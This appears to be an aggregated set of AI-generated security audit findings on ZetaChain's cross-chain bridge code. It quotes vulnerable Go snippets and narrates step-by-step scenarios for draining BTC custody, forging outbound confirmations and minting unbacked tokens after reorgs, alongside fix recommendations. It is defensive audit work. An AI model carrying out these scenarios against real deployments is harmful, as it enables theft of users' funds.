Forged ZetaSent logs authorize withdrawals funded by the fungible module
x/crosschain/keeper/evm_hooks.go:54Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Arbitrary contract logs enter the trusted withdrawal hook** -
x/crosschain/keeper/evm_hooks.go:54-57```go title="x/crosschain/keeper/evm_hooks.go:54-57"
eZeta, err := ParseZetaSentEvent(*log)
if err == nil {
if err := k.ProcessZetaSentEvent(ctx, eZeta, target, ""); err != nil {
return err
```
Any ZEVM caller can emit an ABI-compatible ZetaSent from its own contract. The emitter is never compared with the deployed connector.
**2. The forged amount burns shared funds instead of charging the emitter** -
x/crosschain/keeper/evm_hooks.go:120-123```go title="x/crosschain/keeper/evm_hooks.go:120-123"
if err := k.bankKeeper.BurnCoins(ctx, "fungible", sdk.NewCoins(sdk.NewCoin(config.BaseDenom, sdk.NewIntFromBigInt(event.ZetaValueAndGas)))); err != nil {
fmt.Printf("burn coins failed: %s\n", err.Error())
return fmt.Errorf("ProcessWithdrawalEvent: failed to burn coins from fungible: %s", err.Error())
}
```
Whenever fungible holds ZETA, including residual pool-setup funds, this succeeds without a connector transfer.
**3. Attacker-selected parameters become a payable outbound command** -
x/crosschain/keeper/evm_hooks.go:133-135```go title="x/crosschain/keeper/evm_hooks.go:133-135"
msg := zetacoretypes.NewMsgSendVoter("", contract.Hex(), senderChain.ChainId, txOrigin, toAddr, receiverChain.ChainId, amount, "", event.Raw.TxHash.String(), event.Raw.BlockNumber, 90000, common.CoinType_Zeta, "")
sendHash := msg.Digest()
cctx := k.CreateNewCCTX(ctx, msg, sendHash, zetacoretypes.CctxStatus_PendingOutbound, &senderChain, receiverChain)
```
Normal signing pays the attacker's destination, stealing up to the module's available ZETA.
- Exploit scenario
-
Not specified.
- Recommendation
-
Reject ZetaSent logs unless event.Raw.Address equals the canonical deployed ZEVM connector. Preserve the connector's transfer-and-burn accounting and ensure no untrusted caller can choose a substitute emitter merely by supplying an ABI-compatible event.
-
Bonded validators can trigger reverts for successful transactions zetachain-2 · 7 writeups Critical
V12
Single validators can erase live outbound evidence
x/crosschain/keeper/keeper_out_tx_tracker.go:200Predicted severity: High- Root cause
-
The single-validator cleanup entrypoint permits destruction of live shared confirmation evidence without any lifecycle guard. Global role admission is treated as sufficient authority to delete outstanding candidates belonging to the entire observer set.
- Impact
-
Inference under adversarial transaction ordering: repeated deletion of an outstanding tracker can deny honest observers the transaction evidence needed for confirmation and temporarily freeze withdrawal completion. Deletion after observers have already cached the transaction does not establish this effect, so the supported attack window is before their polling loop consumes each published candidate.
- Description
-
RemoveFromOutTxTrackergrants every bonded validator deletion authority over the entire tracker named by the supplied chain and nonce. It does not require outbound-ballot finalization, a completed CCTX, or a relationship between the caller and the stored candidates.RemoveOutTxTrackerthen deletes the exact record, including candidates submitted by other validators. Both external-chain observers discover outbound transactions through these records, while outbound signing publishes transaction hashes back into the same store. A validator acting alone can repeatedly remove newly published evidence before observers consume it, independently of the quorum-protected ordinary finalization path.
Codex Security (GPT-6 Sol)
Validator tracker entry can falsely fail a pending outbound
x/crosschain/keeper/keeper_out_tx_tracker.go:158Predicted severity: High- Root cause
-
AddToOutTxTracker checks validator bond status and supported chain but does not prove a hash belongs to a pending CCTX. The EVM client retrieves each tracker hash and stores its receipt by the tracker-provided nonce without checking the transaction sender or actual nonce. A failed receipt prompts a failure vote for the CCTX at that nonce, and the keeper finalizes/reverts it.
- Impact
-
A single bonded validator can induce honest quorum votes and a false revert of funds; double payout requires the genuine outbound to execute as well.
- Description
-
A bonded validator can attach an unrelated failed EVM transaction hash to a pending CCTX nonce; honest observers cache it under that nonce and vote failure, which can start a revert despite the genuine outbound.
- Exploit scenario
-
AddToOutTxTracker checks validator bond status and supported chain but does not prove a hash belongs to a pending CCTX. The EVM client retrieves each tracker hash and stores its receipt by the tracker-provided nonce without checking the transaction sender or actual nonce. A failed receipt prompts a failure vote for the CCTX at that nonce, and the keeper finalizes/reverts it.
- Recommendation
-
Bind tracker entries to a pending CCTX and verify external transaction sender, actual nonce, destination and expected payload before caching or voting; recheck chain and nonce in the keeper.
Devin Security
Out-tx trackers can be removed by any bonded validator or a hardcoded admin address
x/crosschain/keeper/keeper_out_tx_tracker.go:200Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
One bonded validator, or whoever holds a hardcoded admin key, can delete or pollute the outbound transaction trackers for any chain and nonce, which delays outbound confirmations.
##### What's wrong
The authorization is too broad.
AddToOutTxTrackerandRemoveFromOutTxTrackeraccept any bonded validator. They also accept a fixed address compiled into the binary (types.AdminKey). Removal needs no vote and does not check whether the transaction finished.##### Who can do it
Mallory runs one bonded validator, or she has the private key for the hardcoded admin address. She sends
MsgRemoveFromOutTxTrackerfor pending nonces on a chain.- Mallory controls a bonded validator operator account, or the key for
types.AdminKey(x/crosschain/types/keys.go:84).##### What they get
Observers use the trackers to find signed outbound transactions. Deleting them, or flooding them with fake hashes, slows or blocks confirmation of pending withdrawals until the trackers are added again. No funds move.
##### How it works
1. Both handlers accept a bonded validator or the hardcoded admin address (
keeper_out_tx_tracker.go:162,:204).2.
RemoveFromOutTxTrackerdeletes the tracker for the chain ID and nonce in the message (keeper_out_tx_tracker.go:208). - Exploit scenario
-
Not specified.
- Recommendation
-
Remove the hardcoded
AdminKeybypass and use the observer admin policy account. Allow tracker removal only through the outbound vote finalization path or the admin policy account. Add tests that a bonded validator that is not an observer cannot remove a tracker.
Devin Security (Deep)
Any bonded validator can inject arbitrary tx hashes into the outbound tracker and make every observer forge an outbound success or failure vote
x/crosschain/keeper/keeper_out_tx_tracker.go:158Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A single bonded validator (or whoever holds the hardcoded admin key) can plant a foreign transaction hash in the outbound tracker and make every honest observer vote that a cross-chain transfer failed or succeeded, which lets the validator get paid twice for a transfer or make other users' transfers never arrive and stall all outbound traffic on that chain.
##### What's wrong
This is a trust-boundary bug: the chain accepts unverified outbound transaction hashes from any bonded validator, and the observer client treats whatever hash is in the tracker as the real outbound transaction.
AddToOutTxTrackeronly checks that the sender is a bonded validator or equals the hardcodedAdminKey; it never checks that the hash belongs to the transaction the TSS signed for that chain and nonce. The observer client (zetaclient/evm_client.goobserveOutTxandqueryTxByHash) fetches the receipt for each tracker hash and records it for that nonce without checking that the transaction was sent by the TSS address or carries that nonce.IsSendOutTxProcessedthen votes on the cross-chain transaction using that receipt.RemoveFromOutTxTrackerhas the same weak gate and lets the same caller delete any tracker.##### Who can do it
Alice uses the ZetaChain bridge at Acme Corp to send ZETA from chain A to chain B. Mallory runs a bonded validator on ZetaChain (she staked enough to enter the active set; the staking module does not restrict who can create a validator). Mallory also sends her own transfers through the bridge. When a cross-chain transaction for chain B with TSS nonce N becomes pending, Mallory submits
MsgAddToOutTxTrackerfor (chain B, N) with the hash of any already confirmed transaction on chain B that she chooses, for example an old reverted transaction or a transfer she made with a specific value.Conditions:
- Mallory controls an account that is a bonded validator operator (
IsBondedValidator) or the private key for the hardcodedAdminKeyaddress.- A cross-chain transaction is pending outbound on an EVM or Bitcoin chain, so a tracker (chain, nonce) is relevant.
- The planted hash is confirmed on the target chain before the real TSS transaction reaches the confirmation depth, or is the first hash in the tracker list.
##### What they get
Mallory can get paid twice. She sends ZETA from chain A to herself on chain B. The TSS broadcasts the real outbound and she receives the ZETA on chain B. Before that transaction is confirmed by the observers, she plants the hash of a failed transaction for that nonce. Every honest observer records the failed receipt for nonce N, votes "failed", the ballot finalizes, and the chain creates a revert that pays her original amount back on chain A. She repeats this for every transfer she makes and drains value that belongs to all bridge users. If she plants the hash early enough that observers record it before they sign, the real outbound is never signed: Alice's funds never arrive on chain B even though the transaction is marked mined, and the TSS nonce N is skipped so every later outbound on chain B is stuck behind the gap. With
RemoveFromOutTxTrackershe can also keep deleting trackers so observers never find real outbound receipts and transfers never finalize.##### How it works
1. Mallory, a bonded validator, sends
MsgAddToOutTxTrackerwith an arbitraryTxHashfor (chain, nonce);AddToOutTxTrackerinx/crosschain/keeper/keeper_out_tx_tracker.go:158-198only checksIsBondedValidatororAdminKeyand appends the hash.2. Each honest observer's
observeOutTxinzetaclient/evm_client.go:377-424reads the tracker, callsqueryTxByHash(evm_client.go:430-458), and stores the receipt and transaction for that nonce once it is confirmed, with no check thattransaction.Fromis the TSS address or thattransaction.Nonceequals the tracker nonce.3.
queryTxByHashreturns early once a receipt is recorded for the nonce (evm_client.go:432), so the planted receipt is never replaced by the real one.4.
IsSendOutTxProcessedinevm_client.go:210-373postsMsgVoteOnObservedOutboundTxusing the planted receipt: status 0 becomes a "failed" vote, status 1 becomes a "success" vote with the planted transaction's value.5.
VoteOnObservedOutboundTxinx/crosschain/keeper/keeper_cross_chain_tx_vote_outbound_tx.go:15-83finalizes the ballot once enough observers submit the identical vote; a failed vote runsFinalizeOutboundwhich creates a revert payout to the original sender (keeper_cross_chain_tx_vote_outbound_tx.go:121-141).6. The send scheduler in
zetaclient/zetacore_observer.go:203-211skips signing wheneverIsSendOutTxProcessedreports the nonce as included, so a planted receipt also suppresses the real outbound and leaves a nonce gap.7.
RemoveFromOutTxTrackeratkeeper_out_tx_tracker.go:200-210lets the same caller delete any tracker by (chainId, nonce) with no ownership or status check. - Exploit scenario
-
Not specified.
- Recommendation
-
Treat tracker hashes as hints, never as proof. In the observer client, after fetching the transaction for a tracker hash, require
transaction.From == TSS address(recover the sender with the chain signer) andtransaction.Nonce == tracker.Noncebefore recording the receipt, and do the same check for Bitcoin (verify the spent UTXO belongs to the TSS address). On the chain side, restrictAddToOutTxTrackerandRemoveFromOutTxTrackerto observers of that chain (reuseIsAuthorized), require the (chain, nonce) to match a pending cross-chain transaction, remove the hardcodedAdminKeyin favor of the admin policy parameters, and cap the length ofHashList. Verify the fix by adding a confirmed non-TSS transaction hash to a tracker in a localnet and checking that observers ignore it and still confirm the real TSS transaction.
Claude Security (Sonnet 5.5)
Out-tx tracker add/remove is authorized for any bonded validator instead of the chain's observers, with no binding to the TSS tx
x/crosschain/keeper/keeper_out_tx_tracker.go:162Predicted severity: Medium- Root cause
-
Vulnerable symbol: msgServer.AddToOutTxTracker
Preconditions: Attacker operates a bonded validator
Offending code:
if !IsBondedValidator(msg.Creator, validators) && msg.Creator != types.AdminKey {
- Impact
-
One validator can inject arbitrary hashes for arbitrary nonces (feeding the forged-confirmation issue in zetaclient), spam the store with unlimited tracker entries, or delete the entries zetaclients need to confirm real outbounds (a deleted entry is not re-added once the broadcast returns 'nonce too low'), leaving cctxs pending forever.
- Description
-
AddToOutTxTracker and RemoveFromOutTxTracker only require the signer to be a bonded validator (or the hard-coded AdminKey); they do not require observer membership for the chain, do not validate chain/nonce against a pending cctx or the tx hash format, and let one validator delete any other entry. Zetaclients treat these entries as authoritative.
- Exploit scenario
-
A bonded validator broadcasts MsgRemoveFromOutTxTracker for (chain, nonce) right after the TSS broadcast; observers never learn the tx hash, the cctx stays PendingOutbound and is repeatedly re-signed.
- Recommendation
-
Authorize with IsAuthorized for the chain's observer set (or only TSS signers), require the nonce to correspond to a pending cctx on that chain, bound hash-list length, and drop AdminKey backdoor writes or gate them behind governance.
Claude Security (Opus 5.5)
Outbound tracker can be written by any bonded validator or a hard-coded AdminKey, and observers trust it
x/crosschain/keeper/keeper_out_tx_tracker.go:162Predicted severity: High- Root cause
-
Vulnerable symbol: AddToOutTxTracker
Preconditions: Attacker is a bonded validator (not necessarily an observer) or holds the AdminKey private key; zetaclient observers consume tracker hashes as shown in zetaclient/evm_client.go and bitcoin_client.go
Offending code:
if !IsBondedValidator(msg.Creator, validators) && msg.Creator != types.AdminKey {
- Impact
-
Holders of a broadly available role (bonded validator) or a baked-in admin key can make the honest observer quorum vote false outbound outcomes. The result is fund loss through double payouts or cancelled transfers, and stuck nonces.
- Description
-
MsgAddToOutTxTracker (chain, nonce, arbitrary TxHash) is accepted from any bonded validator, whether or not it is an observer or TSS signer for that chain, and from a hard-coded address (types.AdminKey, x/crosschain/types/keys.go:84). Nothing ties the hash to the TSS sender or to the nonce. zetaclient observers take tracker hashes as the authoritative outbound transaction for that nonce and vote on its receipt.
- Exploit scenario
-
An attacker gets a bonded validator seat by staking enough to enter the active set; this does not make them an observer. They read the next TSS nonce N for an EVM chain from ChainNonces. Before the TSS signer reports its own hash, they call AddToOutTxTracker(chain, N, H), where H is any confirmed reverted transaction on that chain. Every honest observer records H as the outbound for nonce N and votes Failure, the ballot finalizes, and the cctx moves to revert and is refunded. The real TSS transaction for nonce N can still be mined, so the funds are paid out twice. If H is instead a successful transfer of exactly the cctx amount, the victim's cctx is marked OutboundMined without ever being sent. The holder of the hard-coded AdminKey can do the same on any deployment.
- Recommendation
-
Allow only observers authorized for msg.ChainId (IsAuthorized against the chain's observer mapper) to write the tracker, and remove the hard-coded AdminKey bypass, or replace it with a governance- or policy-controlled account. Also have clients check that a tracker transaction is signed by the TSS address with the expected nonce before using it.
Vercel Security Review
Unverified tracker hashes let one validator forge outbound confirmations
x/crosschain/keeper/keeper_out_tx_tracker.go:179Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A validator can nominate an unrelated transaction for any nonce** -
x/crosschain/keeper/keeper_out_tx_tracker.go:179-182```go title="x/crosschain/keeper/keeper_out_tx_tracker.go:179-182"
ChainId: chain.ChainId,
Nonce: msg.Nonce,
HashList: []*types.TxHashList{&hash},
})
```
One bonded validator can prepopulate a future withdrawal's tracker with a confirmed self-transfer.
**2. Honest observers accept its claimed identity** -
zetaclient/evm_client.go:400-403```go title="zetaclient/evm_client.go:400-403"
if err == nil && receipt != nil { // confirmed
ob.mu.Lock()
ob.outTXConfirmedReceipts[int(nonceInt)] = receipt
ob.outTXConfirmedTransaction[int(nonceInt)] = transaction
```
queryTxByHash checks maturity, not TSS sender, transaction nonce, or recipient (
evm_client.go:438-457). The cache uses the tracker's nonce.**3. The unrelated payment produces success votes** -
zetaclient/evm_client.go:227-230```go title="zetaclient/evm_client.go:227-230"
transaction.Value(),
common.ReceiveStatus_Success,
ob.chain,
nonce,
```
For native withdrawals, matching the victim's amount suffices. The keeper finalizes the unpaid CCTX using honest observers' votes, leaving the victim's burned ZRC20 without payment.
- Exploit scenario
-
Not specified.
- Recommendation
-
Treat tracker hashes as untrusted hints. Before caching or confirming, recover and verify the expected TSS sender, chain ID, actual transaction nonce, recipient, value, and operation against the pending CCTX. Validate authoritative contract addresses and event parameters for token withdrawals as well.
-
Sending ZETA to a Bitcoin network results in BTC being sent instead zetachain-3 · 3 writeups Critical
V12
ZETA sends spend native Bitcoin custody
x/crosschain/keeper/evm_hooks.go:117Predicted severity: Critical- Root cause
-
Bitcoin dispatch and signing lack a native-gas-coin eligibility check.
TryProcessOutTxassumes all Bitcoin-targeted CCTX amounts are BTC satoshis although the producer also creates ZETA-denominated CCTXs for that destination. - Impact
-
A user can request a Bitcoin-targeted ZETA send and receive native BTC from TSS custody without burning the corresponding BTC-backed ZRC20. The supported failure path is direct custody-value substitution; availability of sufficient Bitcoin reserves and a functioning TSS signing quorum are the execution preconditions.
- Description
-
The Bitcoin outbound handler treats every scheduled CCTX amount as satoshis and passes
CoinType_Gasto its processed-state check, without checking the CCTX's actual coin type or origin.ProcessZetaSentEventcan create a Bitcoin-targetedPendingOutboundCCTX withCoinType_Zetaand an amount denominated in base ZETA units.ProcessCCTXcopies that amount unchanged into the outbound parameters, and the scheduler dispatches by receiver chain rather than coin type. The Bitcoin signer therefore constructs a native BTC payment for the numerical ZETA amount. For example, an amount of100000000base ZETA units is interpreted as one BTC when sufficient custody inputs exist.
Claude Security (Sonnet 5.5)
BTC signer pays out CCTX.Amount as satoshis without checking CoinType, so ZETA-denominated (18-decimal) CCTXs drain the BTC reserve
zetaclient/btc_signer.go:227Predicted severity: High- Root cause
-
Vulnerable symbol: BTCSigner.TryProcessOutTx
Preconditions: A Bitcoin chain is enabled in the observer params and the zetaclient; The BTC gas price and chain nonce are registered, which happens in normal operation; The TSS BTC address holds UTXOs
Offending code:
tx, err := signer.SignWithdrawTx(to, float64(send.GetCurrentOutTxParam().Amount.Uint64())/1e8, float64(gasprice.Int64())/1e8*1024, btcClient.utxos, btcClient.pendingUtxos)
- Impact
-
Theft of BTC custody funds, up to the TSS UTXO balance, for a negligible ZETA cost. The result is a cross-chain accounting break and loss of the BTC reserve.
- Description
-
TryProcessOutTx never checks send.GetCurrentOutTxParam().CoinType or the origin of the CCTX. It divides Amount by 1e8 and TSS-signs a BTC payment to the receiver. The Receiver, which is the destination address bytes chosen by the user, goes straight into btcutil.DecodeAddress. Zetacore builds CCTXs for any supported destination from user-controlled ZetaSent events, with CoinType_Zeta and Amount in wei (18 decimals). The BTC signer therefore treats 1 wei of ZETA as 1 satoshi.
- Exploit scenario
-
On a deployment where a Bitcoin chain is supported and has a gas price and nonce registered, a zEVM user calls ZetaConnectorZEVM.send() with destinationChainId set to the BTC chain ID and destinationAddress set to the ASCII bytes of their own bech32 P2WPKH address. zetaValueAndGas is 1e9 wei, which is 1e-9 ZETA. ConnectorZEVM.sol has no destination check. evm_hooks.go ProcessZetaSentEvent and ProcessCCTX create a PendingOutbound CCTX for BTC with CoinType_Zeta and Amount=1e9 and apply no fee, coin-type or chain checks. Every BTC zetaclient then signs and broadcasts a 10 BTC payment from the TSS UTXO pool to the attacker.
- Recommendation
-
In BTC TryProcessOutTx, accept only CoinType_Gas CCTXs whose receiver chain is a Bitcoin chain, and reject everything else. Also reject Zeta-to-BTC routes in zetacore (ProcessZetaSentEvent and the inbound vote handler). Validate receiver format and amount bounds before signing.
Claude Security (Opus 5.5)
BTC signer ignores CCTX CoinType and pays out ZETA-denominated (azeta) amounts as BTC satoshis
zetaclient/btc_signer.go:227Predicted severity: Critical- Root cause
-
Vulnerable symbol: BTCSigner.TryProcessOutTx
Preconditions: Bitcoin chain is enabled in zetaclient and supported in observer params (normal for a BTC deployment); ZetaConnectorZEVM is deployed on zEVM and the BTC gas price and nonce are posted (normal operation)
Offending code:
tx, err := signer.SignWithdrawTx(to, float64(send.GetCurrentOutTxParam().Amount.Uint64())/1e8, float64(gasprice.Int64())/1e8*1024, btcClient.utxos, btcClient.pendingUtxos)
- Impact
-
Anyone can steal the whole BTC reserve held by the TSS address. Each satoshi costs one azeta (1e-18 ZETA).
- Description
-
Any user can create a CoinType_Zeta CCTX to the BTC chain by calling ZetaConnectorZEVM.send; its Amount is in azeta (18 decimals). BTCSigner.TryProcessOutTx never checks CoinType or status and treats that Amount as satoshis, so the TSS signs a real BTC payment of that many satoshis. Also CWE-1287: BTCSigner.TryProcessOutTx never checks the CCTX's CoinType. It treats GetCurrentOutTxParam().Amount as satoshis for every CCTX routed to the BTC chain. A CoinType_Zeta CCTX whose amount is in azeta (1e-18 ZETA), created by anyone through ZetaConnectorZEVM.send with a BTC destinationChainId, therefore makes the TSS sign a native BTC payment of amount/1e8 BTC to an address the attacker chooses.
- Exploit scenario
-
On zEVM the attacker wraps 1e8 azeta (1e-10 ZETA) into WZETA, approves ZetaConnectorZEVM, and calls send({destinationChainId: <BTC chain id>, destinationAddress: bytes("tb1q<attacker p2wpkh>"), zetaValueAndGas: 1e8, ...}). The PostTxProcessing hook burns the 1e8 azeta and creates a PendingOutbound CCTX to BTC with CoinType_Zeta and Amount=1e8. Every zetaclient schedules it on the BTC signer, which reads Amount=1e8 as 1e8 sats (1 BTC). It selects TSS UTXOs, TSS-signs a 1 BTC payment to the attacker, broadcasts it, and records it in the tracker. Repeating this drains the TSS BTC reserve for almost no ZETA.
- Recommendation
-
In BTCSigner.TryProcessOutTx, refuse any CCTX unless CoinType == CoinType_Gas, the sender chain is ZetaChain or the status is a valid revert, and the amount is denominated in sats. Also make zetacore's ProcessZetaSentEvent reject Zeta transfers to chains that have no ZETA connector, such as Bitcoin. Also CWE-1287: In BTCSigner.TryProcessOutTx, reject any CCTX whose outbound CoinType is not CoinType_Gas, and check that the receiver chain matches the asset. In zetacore, reject ZetaSent or ZRC20 withdrawals to non-EVM chains that cannot carry that coin type. Bound-check and convert amounts by coin type before signing.
-
Race condition in Bitcoin client leads to double spend zetachain-4 · 1 writeup Critical
V12
Bitcoin retries can pay withdrawals repeatedly
zetaclient/btc_signer.go:44Predicted severity: High- Root cause
-
Bitcoin outbound idempotency depends entirely on post-broadcast tracker publication. The signer has no durable CCTX-to-signed-transaction mapping and treats absence from the tracker-derived cache as permission to create another payment.
- Impact
-
A funded Bitcoin withdrawal can pay its recipient more than once when the first payment succeeds but tracker publication fails or remains invisible before a retry. Each separately funded Bitcoin transaction can consume additional TSS reserves, so this is a conditional reserve-loss path, not just redundant signing.
- Description
-
A Bitcoin attempt creates and signs a new transaction from currently available UTXOs, broadcasts it, and only then submits its hash to the core tracker. If that tracker submission fails, the attempt merely logs the error and ends, releasing its active ID.
BitcoinChainClient.IsSendOutTxProcessedrecognizes an attempt only throughsubmittedTx, which is populated from core tracker hashes, not from the signer's successful broadcast. On the next scheduling pass the same pending CCTX can therefore select different UTXOs and broadcast another payment. Neither the CCTX nonce nor its hash is included as an enforceable Bitcoin replay constraint, and the signer does not retain and rebroadcast the original transaction for that CCTX.
-
Not waiting for minimum number of block confirmations results in double spend zetachain-5 · 4 writeups Critical
V12
Unsettled Bitcoin deposits can retain unbacked credits
zetaclient/bitcoin_client.go:69Predicted severity: High- Root cause
-
Inbound observation equates inclusion at the current Bitcoin tip with settlement and stores only a height. No confirmation policy or reorganization reconciliation guards financial credit.
- Impact
-
A short Bitcoin reorganization can leave minted BTC-backed ZRC20 without the underlying TSS payment, creating conditional fund loss if that credit is spent or withdrawn. Exploiting this requires a replaced deposit block and enough observer votes before replacement; the code does not require an individual observer to bypass the ballot threshold.
- Description
-
The Bitcoin inbound scanner processes every height through the current RPC tip without enforcing a confirmation depth or checking block continuity.
NewBitcoinClientsetsconfCountto zero, andobserveInTxdoes not use even that field or the fetched block's confirmation count. Once it submits a payment, it advances past that height without retaining the block hash for reorganization detection. Finalized core votes callHandleEVMDeposit, which credits the reported amount through the fungible module. A payment observed on a block that is later replaced can consequently retain its ZEVM credit despite disappearing from Bitcoin's canonical chain.
Codex Security (GPT-6 Sol)
Bitcoin deposits are credited at the current tip before reorg safety
zetaclient/bitcoin_client.go:205Predicted severity: Medium- Root cause
-
The Bitcoin inbound loop advances one block whenever count exceeds the cursor, including the current tip. It immediately posts each matching transaction and advances the cursor without waiting for depth or reconciling a later replacement block.
- Impact
-
A shallow Bitcoin reorganization could leave credited assets unbacked, but attacker ability to induce such a reorg and a non-regtest deployment are unproven.
- Description
-
The Bitcoin observer reports a deposit as soon as it appears in the next tip block, allowing an observer quorum to credit or route assets before the deposit survives confirmations.
- Exploit scenario
-
The Bitcoin inbound loop advances one block whenever count exceeds the cursor, including the current tip. It immediately posts each matching transaction and advances the cursor without waiting for depth or reconciling a later replacement block.
- Recommendation
-
Wait for a configured Bitcoin confirmation depth before voting, persist observed block hashes, and reconcile votes and cursor state after reorganization.
Devin Security
Bitcoin deposits are reported after a single confirmation, so a block reorg can mint unbacked BTC on ZetaChain
zetaclient/bitcoin_client.go:205Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
An attacker who can get a deposit block orphaned can be credited BTC on ZetaChain for a deposit that no longer exists on Bitcoin, which drains the pooled BTC reserve.
##### What's wrong
This is a missing confirmation depth check. The Bitcoin inbound watcher processes block
lastBN+1as soon as the chain tip reaches it. That includes the tip block itself, which has only one confirmation, and there is no configured confirmation depth.##### Who can do it
Mallory sends BTC to the TSS address (the shared signing key of the observers) with a memo, and every observer reports it right away. She then broadcasts a conflicting spend of the same coins. If the deposit's block is orphaned, through a natural one-block reorg race or with hash power she rents, her deposit disappears from Bitcoin. Her ZRC20 BTC on ZetaChain stays.
- Mallory needs a BTC wallet.
- The block holding her deposit must be reorganized out. This happens naturally at the tip from time to time, or she can pay for hash power. That cost is the main barrier.
##### What they get
Mallory keeps ZRC20 BTC that has no BTC behind it. She can withdraw it to drain BTC that other users deposited into the TSS address. The loss is limited by how often she can win a reorg.
##### How it works
1.
observeInTxprocesses blocklastBN+1wheneverGetBlockCount() > lastBN, without subtracting any confirmation depth (zetaclient/bitcoin_client.go:205-239).2.
FilterAndParseIncomingTxaccepts any transaction in that block that pays the TSS address and carries an OP_RETURN memo (zetaclient/bitcoin_client.go:387-470).3.
PostSendvotes the deposit to zetacore right away (zetaclient/bitcoin_client.go:247-261), and progress moves past the block without any later reorg check (line 269). - Exploit scenario
-
Not specified.
- Recommendation
-
Process block
bnonly whencnt - bn + 1 >= confirmations, with the confirmation count set per network (for example 6 on mainnet), as the EVM observer does withconfCount. Apply the same rule to outbound confirmation, whereConfirmations > 0is marked FIXME. To verify, write a unit test showing that a block at the tip is not processed until enough blocks are on top of it.
Devin Security (Deep)
Bitcoin deposits are credited after a single confirmation with no reorg handling, allowing unbacked BTC ZRC20 mints
zetaclient/bitcoin_client.go:205Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can get BTC ZRC20 minted on ZetaChain for a Bitcoin deposit that later disappears in a one-block reorg, and then withdraw real BTC that belongs to other depositors; this needs a stale Bitcoin block to occur, which is rare on mainnet but common on testnet.
##### What's wrong
This is a missing confirmation depth check. The Bitcoin observer scans and votes on a block as soon as it becomes the chain tip (one confirmation), ignores its own
confCountfield, and only ever moves forward by block number, so a deposit in a block that is later orphaned is still credited and is never re-checked.##### Who can do it
Mallory, anyone with a Bitcoin wallet, sends a replace-by-fee enabled deposit to the TSS address with a valid memo naming her zEVM address. Every observer sees the tx in the newest block, immediately calls
PostSend, and the inbound vote finalizes and mints BTC ZRC20 to her. Mallory watches the Bitcoin network; if the block containing her deposit becomes stale (a natural one-block reorg, or one she encourages by broadcasting the deposit to only part of the network), she immediately broadcasts a conflicting higher-fee spend of the same inputs so the deposit is never re-mined. She can repeat this at the cost of Bitcoin fees until a reorg lands.- Bitcoin must be an enabled inbound chain (it is in the default mainnet and testnet chain lists).
- A reorg must orphan the block that contained the deposit. On Bitcoin mainnet this happens a few times per year; on testnet it happens frequently.
- The attacker must prevent the deposit from being re-included (RBF or a conflicting spend).
##### What they get
Mallory ends up holding BTC ZRC20 on ZetaChain with no BTC behind it. She calls
withdrawon the BTC ZRC20, and the TSS signer pays her real BTC out of the pooled UTXOs that other users deposited. Every repeat drains more of the shared BTC reserve, so honest depositors like Alice eventually cannot withdraw. On testnet this is nearly free to pull off; on mainnet it is a low-probability but repeatable lottery with a payout equal to the deposit size.##### How it works
1.
observeInTxin zetaclient/bitcoin_client.go:205-222 fetches blocklastBN+1as soon asGetBlockCount()exceedslastBN, so the tip block (one confirmation) is processed;ob.confCount(set to 0 at line 73) is never consulted.2.
FilterAndParseIncomingTxat line 239 extracts deposits to the TSS address from that block.3. Lines 241-267 call
PostSendfor each deposit, which becomes aMsgVoteOnObservedInboundTx; once the observer threshold is reached,HandleEVMDepositin x/crosschain/keeper/evm_deposit.go:25-29 mints BTC ZRC20 to the memo address.4. Line 269 sets
lastBlock = bnby height only; if blockbnis later orphaned the observer fetches the new block atbn+1and never revisitsbn, so the credit is never reversed.5. The attacker burns the unbacked ZRC20 via
ZRC20.withdraw, andBTCSigner.SignWithdrawTxin zetaclient/btc_signer.go:44-111 spends pooled TSS UTXOs to pay her. - Exploit scenario
-
Not specified.
- Recommendation
-
Require a configurable confirmation depth for Bitcoin inbound observation: only process block
bnwhenGetBlockCount() - bn >= confCountwith a sensible default (for example 6 on mainnet), and remove the hardcodedconfCount = 0. Additionally track the processed block hash and, when the hash atlastBlockno longer matches the node's hash for that height, rolllastBlockback and re-scan. To verify: in regtest, mine a block containing a deposit, invalidate it withinvalidateblock, mine a competing chain without the deposit, and confirm noMsgVoteOnObservedInboundTxis posted until the deposit reaches the configured depth on the canonical chain.
-
Multiple events in the same transaction causes loss of funds and chain halting zetachain-6 · 4 writeups Critical
V12
Identical withdrawal events overwrite allocated outbound commands
x/crosschain/keeper/evm_hooks.go:47Predicted severity: High- Root cause
-
Withdrawal identity omits the event position although nonce allocation happens per event. Store writes overwrite a previous pending command without detecting the duplicate or reconciling its allocated nonce and burned amount.
- Impact
-
A funded contract can issue identical withdrawals within one ZEVM transaction and create a missing TSS nonce, blocking subsequent EVM withdrawals on that destination. The same overwrite also collapses multiple burned withdrawal amounts into one pending payment command; automatic recovery or reconciliation for the lost command was not found in the examined producer, scheduler, scrubber, and finalizer paths.
- Description
-
Withdrawal CCTX identity is derived from
MsgVoteOnObservedInboundTx.Digest, which contains the transaction hash but no event log index. Both withdrawal hook paths iterate all receipt logs, and identical withdrawal events within one transaction produce identical message fields and therefore the same CCTX index. Each event nevertheless callsUpdateNonceand stores a new pending CCTX under that index. The later event overwrites the earlier record while consuming another outbound nonce. On an EVM destination, the surviving higher-nonce transfer cannot execute before the lower nonce for which the pending command has been lost.
Claude Security (Sonnet 5.5)
ZEVM withdrawal CCTX index is a content hash; identical withdrawals overwrite each other, orphan a TSS nonce and deadlock the chain's outbound queue
x/crosschain/keeper/evm_hooks.go:159Predicted severity: High- Root cause
-
Vulnerable symbol: Keeper.ProcessCCTX
Preconditions: Attacker holds a small amount of a ZRC20 plus the gas ZRC20 on ZEVM (obtainable through any normal deposit or a swap); Target chain is an EVM chain whose TSS account requires sequential nonces
Offending code:
k.SetCrossChainTx(ctx, cctx)
- Impact
-
